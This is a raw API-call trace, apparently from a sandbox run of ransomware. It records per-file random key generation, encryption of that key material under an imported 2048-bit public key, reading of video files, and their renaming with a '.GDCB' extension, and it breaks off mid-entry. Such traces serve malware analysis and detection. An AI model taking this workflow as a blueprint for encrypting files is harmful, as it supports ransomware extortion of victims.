[0142.938] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.938] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0142.938] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.938] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecca0) returned 1 [0142.947] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x28f4fd0) returned 1 [0142.947] CryptGetKeyParam (in: hKey=0x28f4fd0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0142.947] CryptEncrypt (in: hKey=0x28f4fd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0142.947] GetLastError () returned 0x0 [0142.947] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0142.947] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecc18) returned 1 [0142.949] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x28f4ed0) returned 1 [0142.949] CryptGetKeyParam (in: hKey=0x28f4ed0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0142.949] CryptEncrypt (in: hKey=0x28f4ed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0142.949] GetLastError () returned 0x0 [0142.949] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.949] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\Fz8jhnIlC8sC7y.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\fz8jhnilc8sc7y.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0142.949] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.950] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.950] ReadFile (in: hFile=0x4fc, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285e828*=0xf85f, lpOverlapped=0x0) returned 1 [0142.960] VirtualAlloc (lpAddress=0x0, dwSize=0xf860, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.965] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\Fz8jhnIlC8sC7y.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\fz8jhnilc8sc7y.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\Fz8jhnIlC8sC7y.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\fz8jhnilc8sc7y.avi.gdcb")) returned 1 [0142.966] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecc18) returned 1 [0142.966] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.966] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.966] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0142.966] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.966] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecc18) returned 1 [0142.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.967] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.967] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0142.967] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.967] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecfd0) returned 1 [0142.969] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x28f5150) returned 1 [0142.969] CryptGetKeyParam (in: hKey=0x28f5150, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0142.969] CryptEncrypt (in: hKey=0x28f5150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0142.969] GetLastError () returned 0x0 [0142.969] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.969] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecc18) returned 1 [0142.971] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x28f4c10) returned 1 [0142.971] CryptGetKeyParam (in: hKey=0x28f4c10, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0142.971] CryptEncrypt (in: hKey=0x28f4c10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0142.972] GetLastError () returned 0x0 [0142.972] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.972] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\IviMqpQIe2jIpP9 D.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\ivimqpqie2jipp9 d.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0142.972] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.972] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.972] ReadFile (in: hFile=0x4fc, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285e828*=0x184f1, lpOverlapped=0x0) returned 1 [0142.982] VirtualAlloc (lpAddress=0x0, dwSize=0x18500, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.987] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\IviMqpQIe2jIpP9 D.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\ivimqpqie2jipp9 d.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\IviMqpQIe2jIpP9 D.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\ivimqpqie2jipp9 d.mkv.gdcb")) returned 1 [0142.988] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ed300) returned 1 [0142.988] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.989] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.989] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0142.989] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.989] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecca0) returned 1 [0142.989] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.989] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.989] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0142.989] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0142.990] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ed0e0) returned 1 [0142.991] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x28f4d10) returned 1 [0142.991] CryptGetKeyParam (in: hKey=0x28f4d10, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0142.991] CryptEncrypt (in: hKey=0x28f4d10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0142.992] GetLastError () returned 0x0 [0142.992] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0142.992] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ed0e0) returned 1 [0142.993] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x28f4b50) returned 1 [0142.993] CryptGetKeyParam (in: hKey=0x28f4b50, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0142.993] CryptEncrypt (in: hKey=0x28f4b50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0142.994] GetLastError () returned 0x0 [0142.994] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0142.994] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\tgUnQFz.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\tgunqfz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0142.994] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.994] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.994] ReadFile (in: hFile=0x4fc, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285e828*=0x14624, lpOverlapped=0x0) returned 1 [0143.003] VirtualAlloc (lpAddress=0x0, dwSize=0x14630, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.008] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\tgUnQFz.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\tgunqfz.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\tgUnQFz.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\tgunqfz.flv.gdcb")) returned 1 [0143.009] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecc18) returned 1 [0143.009] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.009] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.009] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0143.009] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.009] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecc18) returned 1 [0143.010] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.010] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.010] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0143.010] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.010] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecc18) returned 1 [0143.012] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x28f5010) returned 1 [0143.012] CryptGetKeyParam (in: hKey=0x28f5010, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0143.012] CryptEncrypt (in: hKey=0x28f5010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0143.012] GetLastError () returned 0x0 [0143.012] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.012] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecc18) returned 1 [0143.014] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x28f4c50) returned 1 [0143.014] CryptGetKeyParam (in: hKey=0x28f4c50, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0143.014] CryptEncrypt (in: hKey=0x28f4c50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0143.014] GetLastError () returned 0x0 [0143.014] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.014] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\thXC6nEZL.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\thxc6nezl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0143.014] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.015] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.015] ReadFile (in: hFile=0x4fc, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285e828*=0x159b9, lpOverlapped=0x0) returned 1 [0143.030] VirtualAlloc (lpAddress=0x0, dwSize=0x159c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.036] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\thXC6nEZL.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\thxc6nezl.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\0EsxwfGpf\\thXC6nEZL.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\0esxwfgpf\\thxc6nezl.mp4.gdcb")) returned 1 [0143.037] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x2ecfd0) returned 1 [0143.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.038] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.038] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0143.038] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.038] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x2ecc18) returned 1 [0143.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.038] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.038] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0143.038] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.039] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x2ecc18) returned 1 [0143.041] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x28f4cd0) returned 1 [0143.041] CryptGetKeyParam (in: hKey=0x28f4cd0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0143.041] CryptEncrypt (in: hKey=0x28f4cd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0143.041] GetLastError () returned 0x0 [0143.041] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.041] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x2ecc18) returned 1 [0143.043] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x28f5050) returned 1 [0143.043] CryptGetKeyParam (in: hKey=0x28f5050, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0143.043] CryptEncrypt (in: hKey=0x28f5050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0143.043] GetLastError () returned 0x0 [0143.043] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.043] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\b- AWKoK.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\b- awkok.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0143.043] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.043] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.044] ReadFile (in: hFile=0x4f8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285eab0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285eab0*=0xb1bd, lpOverlapped=0x0) returned 1 [0143.053] VirtualAlloc (lpAddress=0x0, dwSize=0xb1c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.057] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\b- AWKoK.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\b- awkok.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\XSzYOqMEGXWZId3aDzM\\b- AWKoK.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\xszyoqmegxwzid3adzm\\b- awkok.flv.gdcb")) returned 1 [0143.058] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0143.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.059] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.059] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0143.059] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.059] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0143.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.059] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.059] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0143.059] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.060] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0143.062] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f5110) returned 1 [0143.062] CryptGetKeyParam (in: hKey=0x28f5110, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0143.062] CryptEncrypt (in: hKey=0x28f5110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 